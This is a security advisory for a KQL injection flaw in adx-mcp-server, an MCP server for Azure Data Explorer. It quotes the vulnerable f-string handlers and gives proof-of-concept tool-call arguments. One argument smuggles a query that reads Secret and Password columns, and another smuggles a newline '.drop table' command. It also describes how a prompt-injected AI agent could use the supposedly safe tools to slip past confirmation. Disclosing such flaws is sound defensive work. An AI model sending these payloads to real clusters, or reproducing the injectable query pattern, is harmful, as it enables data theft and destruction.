PT-2026-59011 · Pypi · Adb Mcp Server

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

8.3

Alta

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get table schema, sample table data, and get table details. The table name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table name parameter into query strings:
Vulnerable code ([permalink](https://github.com/pab1it0/adx-mcp-server/blob/48b2933/src/adx mcp server/server.py#L228)):
python
@mcp.tool(...)
async def get table schema(table name: str) -> List[Dict[str, Any]]:
  client = get kusto client()
  query = f"{table name} | getschema"     # <-- KQL injection
  result set = client.execute(config.database, query)
python
@mcp.tool(...)
async def sample table data(table name: str, sample size: int = 10) -> List[Dict[str, Any]]:
  client = get kusto client()
  query = f"{table name} | sample {sample size}" # <-- KQL injection
  result set = client.execute(config.database, query)
python
@mcp.tool(...)
async def get table details(table name: str) -> List[Dict[str, Any]]:
  client = get kusto client()
  query = f".show table {table name} details"   # <-- KQL injection
  result set = client.execute(config.database, query)
KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
  • sensitive table | project Secret, Password | take 100 // to read arbitrary tables
  • Newline-separated management commands like .drop table important data via get table details
  • Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an execute query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute query. The injection bypasses this trust boundary.

PoC

python
# PoC: KQL Injection via get table schema tool
# The table name parameter is injected into: f"{table name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool call = {
  "name": "get table schema",
  "arguments": {
    "table name": "sensitive data | project Secret, Password | take 100 //"
  }
}
print(json.dumps(tool call, indent=2))

# Resulting KQL: "sensitive data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get table details:
tool call destructive = {
  "name": "get table details",
  "arguments": {
    "table name": "users details
.drop table critical data"
  }
}
# Resulting KQL:
#  .show table users details
#  .drop table critical data details

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Identificadores relacionados

PYSEC-2026-2327

Produtos afetados

Adb Mcp Server